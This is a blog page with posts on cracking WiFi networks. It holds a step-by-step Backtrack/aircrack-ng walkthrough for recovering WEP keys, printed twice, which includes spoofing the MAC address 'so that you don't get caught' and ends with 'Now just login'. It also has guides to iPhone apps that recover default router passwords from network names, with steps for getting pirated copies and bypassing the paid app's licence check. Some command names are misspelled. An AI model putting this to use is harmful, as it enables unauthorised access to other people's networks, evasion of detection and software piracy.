Showing posts with label wifi hack. Show all posts
Showing posts with label wifi hack. Show all posts

Hacking Wifi key using Backtrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections. Wifi has become an integral part of our lives today.

Right from Mobile Phones to Laptops to Ipads every device now has Wifi support.
Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed. Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how ..

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.

SETTING UP THE CARD AND THE CONSOLE
Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -
* ifconfig
This is the Linux equivalent of ipconfig, you will see the network adapters in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.
* airmon-ng
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range
* airmon-ng stop [Wi-Fi Card name(without the quotes)]
This command will stop the cards broadcast and reception immediately
* macchanger –mac [Desired MAC address] [Wi-Fi card name]
This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later
* airmon-ng start [Wi-Fi Card name]
You will see another extra adapter that is set on monitor mode, use that adapter for all further purposes in the following commands where – ‘[Wi-Fi card name]’ appears
DUMPING PACKETS
Once you have set up all the parameters,you need to sniff and dump data packets in order to get the key.You can do so by using following commands. On the command console type these commands -
* airodump-ng [Wi-Fi card name]
Copy and paste the BSSID in the following command and execute it
* airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.
SPEEDING UP THINGS
However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it
*airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.
REVEALING WEP KEY
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.
aircrack-ng –n 64 –b [BSSID] [Filename without the extension] Revealing the WEP Key -
As you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX
It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:
aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]
Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.
aircrack-ng –n 32 –b [BSSID] [Filename without the extension]
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.
Now just login using the WEP key you got.

Hacking Wifi key using Backtrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections. Wifi has become an integral part of our lives today.

Right from Mobile Phones to Laptops to Ipads every device now has Wifi support.
Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN’s by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed. Now almost anyone can hack into a Wifi network by generating the valid WEP key using Bactrack. Read on to learn how ..

Disclaimer: This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.

SETTING UP THE CARD AND THE CONSOLE
Boot up Backtrack on your virtual machine/laptop and open up the command console and type the commands as they are given -
* ifconfig
This is the Linux equivalent of ipconfig, you will see the network adapters in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.
* airmon-ng
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range
* airmon-ng stop [Wi-Fi Card name(without the quotes)]
This command will stop the cards broadcast and reception immediately
* macchanger –mac [Desired MAC address] [Wi-Fi card name]
This command will change the current MAC address to any MAC address you desire, so that you don’t get caught later
* airmon-ng start [Wi-Fi Card name]
You will see another extra adapter that is set on monitor mode, use that adapter for all further purposes in the following commands where – ‘[Wi-Fi card name]’ appears
DUMPING PACKETS
Once you have set up all the parameters,you need to sniff and dump data packets in order to get the key.You can do so by using following commands. On the command console type these commands -
* airodump-ng [Wi-Fi card name]
Copy and paste the BSSID in the following command and execute it
* airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (Click on Computer and you will see the file).The file will be present in two formats: *.cap, *.txt.
SPEEDING UP THINGS
However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it
*airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.
REVEALING WEP KEY
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.
aircrack-ng –n 64 –b [BSSID] [Filename without the extension] Revealing the WEP Key -
As you type this command, you will see that a key will appear in front of you in the given below format:
XX:XX:XX:XX
It is not necessary that the key should have exactly the same digits as shown above so please don’t freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:
aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]
Remember, the bit level should be a number of 2n where n:1,2,3,4…
e.g.
aircrack-ng –n 32 –b [BSSID] [Filename without the extension]
OR
aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.
Now just login using the WEP key you got.

Four Best WiFi Cracking Applications For your Iphone

Four Best WiFi Cracking Applications For your Iphone



Wifi Crack

1. Aircrack-ng for IPhone:

It is the simple command line with graphical interface software which is used to crack wifi networks . It sends packets to the wifi network and then cracks the password file of the network .It is used widely and can be downloaded from
here.

2. IWep Lite:

It is an Iphone applications which let you crack wifi network in less than 30 minutes . It is easy in use and can be understood easily rather than Aircrack-ng . It is Graphical interface with best utility and dictionary . Apart from Aircrac-ng it uses dictionary and so it is less trustworthy than Aircrack and can not crack every key. It is used more widely than Aircrack but it uses dictionary that's why it is on 2nd number. It can be downloaded from
here .

3. WepGen:

WepGen is just another application which cracks the Wifi network by sending packets and it is rather easy in use than Aircrack but though it is on 3rd number due to it's popularity. It can be downloaded from
here.

4. IWifi Hack:

It works on the same scene as other cracking softwares except iweplite means it sends packets and break in the security of a wifi network . It is easy in use and can easily be used by anyone. It can be download from here.
- See more at: http://www.hackersthirst.com/2012/01/four-best-wifi-cracking-applications.html#sthash.elQnG1YO.dpuf

Best Apps for Hacking WiFi (iPhone / iPad / iTouch / Mac / Windows / Android / Nokia / Linux)

Security researchers have identified some wireless routers of having default passwords derived from a routers MAC address (e.g D8:3A:32:28:21:72) or SSID (network name). Read this to learn more. To determine what vendor the WiFi network is on, you can lookup the MAC address here or download the MAC address lookup app.

Now, If you are serious about security auditing and hacking WiFi, the iPhone is a poor choice of technology. Some of you might want to become advanced and improve your success rate with a good WiFi hacking long-range setup through your computer with Beini or BackTrack. However, it still is very possible with an iPhone and there are a number of freely available apps in Cydia (if you don't have your iDevice jailbroken, look in the right hand pane of this page and enter your iDevice information in the 'Jailbreak Wizard' to see how jailbreak) and iTunes that are able to recover these passwords. If you have Cydia, you should add BigBoss and xSellize repos and type in 'SSID' to get most of the apps listed below.



This will not work if the default password has been changed. My success rate of gaining entry into a compatible router is ~65%. The comparison table gives you an idea how the apps compare side-by-side:


Table 1: Best iDevice WiFi Hacking Apps


Name
Cost
Store
Offline
MAC Shown
Signal Strength
Network Scan
Connect in App
$8.19
Cydia
Yes
Yes
Yes
Yes
Yes
$1.99
iTunes
No
No
No
No
No
Free
Cydia
Yes
Yes
Yes
Yes
No
Free
Internet
No
No
No
No
No
$3.99
Cydia
No
No
No
No
No
$2.25
Cydia
No
No
No
No
No
$3.99
Cydia
No
No
No
No
No

* Can be downloaded for free via appcake or apptrackr, still requires a jailbreak, afc2add and AppSync from Cydia.

** Can be downloaded for free via xSellize repo in Cydia.
There are a few more available in iTunes, but they have an ugly GUI or in a foreign language:



Universal WPA Finder $0.99
WiFi WPA $1.99 
WPA Inspector $1.99  
HAG WPA Finder $0.99


You can also search the app store for any WiFi related app (if it is not showing to your right, temporarily disable adblock). Suggested search terms: wifi, wep, wpa, ssid, network.

iWep Pro
The developer over at iWazDev has created the best, feature packed and most expensive (or free if you decide to download it from a repo that hosts cracked apps) WiFi auditing tool out there. It is also the most difficult to setup as you are required to download 12 iWep Pro dictionaries in Cydia (2004 to 2011) for offline use.


Installation Instructions
If you do not want to spend the hefty price tag, you can download the latest 5.0.1 or 4.1.3 HERE


1. Dictionary Downloads (Download them all)


iWep PRO Dictionary for BTHomeHub Routers:
iWep PRO Dictionary for Thomson Based Routers:
Password to download the files is: dishingtech


New iWazowski Cydia Repo
There is a new temporary repo if the links above do not work: http://iwazowski.hostzi.com/repo/


Dictionaries are DEB files, and have to be installed just like all other DEBs (using iFile or via MobileTerminal / SSH) or downloading them from the iWazowski repo: http://iwazowski.com/repo/. They extract as speedSHA1dic files.


Check out the video below on how to install it or use the written instructions.


2. Upload the files to your device
First, you have to know where you want the .deb files (e.g /var/mobile/Media/Downloads) and upload the files on to your device. Best to use the easier method.



3. Install iWep Pro & Dictionaries


Easiest Method

  1. Install iFile from Cydia
  2. Download iFunboxCyberduck or iExplorer (or install afc2add and openSSH in Cydia)
  3. Download desired (.debs) files (if you haven't yet) to your desktop
  4. Run one of the apps and connect your iPhone, iPod or iPad usb cable
  5. The program will show your device contents, Now navigate to any folder for example: var/mobile/Documents (if you can't access the root directory, download afc2add in Cydia)
  6. Move (.deb) files from your desktop to var/mobile/Documents
  7. Run iFile from your iOS, and navigate to the same folder i.e. var/mobile/Documents
  8. Click on (.deb) file and select install one by one until you install all the required dictionaries
Alternative Installation Method

1. Start Cydia, go to 'Search', type 'Mobile Terminal' and install it (if you haven't yet). Be aware that there are different versions for different iOSs.
2. Repeat step 1 for 'OpenSSH'
3. Start 'MobileTerminal'
4. Type the following:
• su root  (press return)
• alpine  (press return)


Install iWep Pro and the Dictionaries through Mobile Terminal e.g. type:


dpkg -i /var/mobile/Media/Downloads/iWep Pro 4.1.3.deb (Note you can rename the.deb files e.g 1.deb which will make it quicker to install) and do that with the rest of the files you downloaded.


When you install the files and you Finish with Result Code 256 error message?

It means you made a mess of installations. You have previously tried to install the app. Basically it already exists and there’s a conflict, and hence dpkg throws you an error because it cannot rewrite it. 

How to fix? 
The best way to fix this problem is to completely uninstall and remove all previous instances of the app. That means uninstalling via Cydia and also going in and manually removing the app files if necessary from the iWep Pro folder. You could also try the following commands: dpkg --force-depends -i thenameofthefile.deb to install and dpkg --force-depends -r nameofpackage to remove.

If you finish with with Result Code 512 error message?
It means that the file/s are in use. Probably Cydia is running, try closing Cydia in the background and try installing again.

Try again and success means you end up with result code 0.


4. Open the App
Note: You must be connected to WiFi, 3G or EDGE to activate your licence. iPad and iTouch users will need WiFi or 3G.





Activating Your Licence in 4.1.3
1. Open iWEP Pro app
2. Click top-right corner "i" button
3. Click "Validate application"
4. Enter 3 or more letters or numbers in "PayPal Transaction ID"
5. Tap "Validate License" 
Activate Your Licence in 5 & 5.0.1
1. Open iWEP Pro app
2. Tap on "Settings" tab
3. Tap on "Register application"
4. Enter at least 3 letters/numbers into "PayPal Code" field
5. Tap on "Validate" button

Using the App
The MAC address is shown during the network scan, signal strength is shown and you can also connect and test the password through the app. Another good thing is that he offers a trial which is ad supported. Here is a list of supported networks. Do any of these look familiar?


Table 2: Supported Networks

WLAN_XX
WiFIXXXXXX
ThomsonXXXXXX
DmaxXXXXXX
WLAN_XXXX
WiFiXXXXXX
BTHomeHub-XXXX
Orange-XXXXX
JAZZTEL_XXXX
YACOMXXXXXX
INFINITUMXXXXXX
CytaXXXXXX
WLANXXXXXX
SpeedTouchXXXXXX
Bbox-XXXXXX
TN_private_XXXXXX
BigPondXXXXXX
Alice_XXXXXXX
O2wirelessXXXXXX
FastWeb-1-XXXXXXX
DlinkXXXXXX
BlinkXXXXXX
SKYXXXXX
EircomXXXX XXXX


iWep Pro Network Scan
Manual Lookup

2 WPA Tester
The only iTunes app that made the cut supports a similar large range of networks as iWep Pro but functionality is quite limited with manual input of network names (SSID). The app is a little misleading in the description as it states a whole host of networks that this app supports. But ISPs do not stick to one router model or vendor, they have a variety. So, as an example, if you have a Verizon router, chances are that it is not supported. Supported Networks:

Australia BigPond
U.S. Verizon
U.K. BTHomeHub, Sky
Italy Alice, Fastweb, InfostradaWiFi, TeleTù, Tele2
Spain Ono, JAZZTEL, YaCOM, WiFi, ADSL
Portugal Vodafone, Meo, Sapo, Zon
Ireland Eircom
France Bbox
Mexico INFINITUM
Greece OTEnet
Cyprus Cyta
Many Countries Huawei, Dlink, Tecom, Discus, WLAN, D-LINK, WIRELESS, O2Wireless, Thomson, SpeedTouch, privat, DMAX, Orange


This app is only good for Thomson based routers that usually have a combination ending of six capital letters and numbers XXXXXX. It supports offline mode, network scanning and you will have to download the rainbow tables in order to use it.

This is not an app but an actual online tool that can be accessed on any computer. It is worthy of bookmark status on your phone and your computer. Again, this is only good for Thomson / SpeedTouch based routers and it works just as good as iWep Pro for hacking SpeedTouch / Thomson routers. MD5This also has something very similar.

Web based Thomson SSID lookup found three keys

From the same developer as iWep Pro, this is only good for Thomson / SpeedTouch based routers and the fwssid app is also good for Fastweb routers. You will have to manually input the XXXXXX part of the SSID and a button will pop up, allowing you to copy the password to your device.

SpeedSSID found two keys

Table 3: Supported Networks

ThomsonXXXXXX
Orange-XXXXXX
INFINITUMXXXXXX
TN_private_XXXXXX
SpeedTouchXXXXXX
DMAXXXXXX
Bbox-XXXXXX
CYTAXXXXXX


This has the same GUI / function as the SpeedSSID app and it claims to be able to generate network keys from Dlink routers. I have not had any success with this app so I cannot comment on its effectiveness. Probably because Dlink put out so many different models out each year. However, it is from a reputable developer and I am hoping to find out from anyone who was able to get this app to work.

This app is good for Eircom routers with the distinctive XXXX XXXX after the name which are used extensively in Ireland. Same GUI as the above, however unlike the others, you are able to scan for networks and view a google map of every router that has been sniffed. 

Pinned locations of routers, many more now
8 Others Currently Under Development
iWep Pro 5 will likely be out soon, with a more refined UI (check out the screenshots) and hopefully better cracking features. They are certainly ones to watch. Another one to watch out for is ST Keys for iOS.

9 Other Tools
There is an interesting app available in Cydia called WiFi Pass (BigBoss repo). It logs any WiFi password you type into your phone and displays it in the app. There is also an iTunes app called Passmule that has the default administrator passwords of many vendors and models. I managed to get into this network by doing so.  


Passmule in action
Keep in mind that these passwords would only be of use accessing the router settings and not the actual WiFi network itself. 

10 Network Sniffers Free WiFi Locations

Stumblers such as WiFi Where, WiFiFoFum and WiFi Analyzer can be really helpful. You should have at least one in your toolkit. They show information such as MAC addresses, IP addresses, encryption, free WiFi hotspots, router vendors and help in determining which networks are within range.


My favourite is WiFi Where because it is great for wardriving, warcycling and warwalking. You can ignore certain networks, such as WPA, WPA2, open, adhoc and out of range networks from showing. The app also has the ability to filter network strength and location accuracy. 


WiFi Where Screenshots
Hotspot Details
Scan
Settings
More Settings
The best part of WiFi where is that you can export information via email into a spreadsheet file and create your own map showing networks around your neighbourhood because it logs latitude and longitude. I created the following map below in Google Fusion Tables. Check it out, zoom and click on the dots for cool information :)


11 Beware
iDevices have limited processing power and hardware to be able to brute-force attack WEP / WPA Wi-Fi networks. Any app that claims to do this (e.g. iWifihack, WEPGen, Ch0ry and Wi-Fi Joker), is lying and wasting your time (by making you do surveys) and possibly stealing your money. Aircrack-ng the popular Linux / Backtrack suite of penetration testing has been ported to the iPhone as a proof of concept. However, it is a hardware limitation where the iDevices WiFi card cannot inject or collect packets. Therefore it doesn't work!



If you tried all of the above apps and you were unsuccessful and if you have a computer and willing to spend some money. I suggest you check out my other videos to show you how it is done through essential hardware as well as through using powerful software such as BackTrack and Beini virtual machines (VM).  


Video of Some of these Tools in Action

12 Other Devices
There have been a number of apps developed for other operating systems and devices that work in a similar fashion. There are even operating systems based on Linux, including: Xiaopan OS (Free), WiFiway, Krackeraki (Free) and BackTrack (Free), Reaver Pro (Great for hacking WPA/WPA2 WPS Networks). These were packaged and developed specifically for hacking. 
Did you also know you can run virtually any operating system within another operating system? e.g. run Windows XP in Windows 7 or Beini in Mac). It is simply done through virtualisation software like Parallels, VMware or VirtualBox.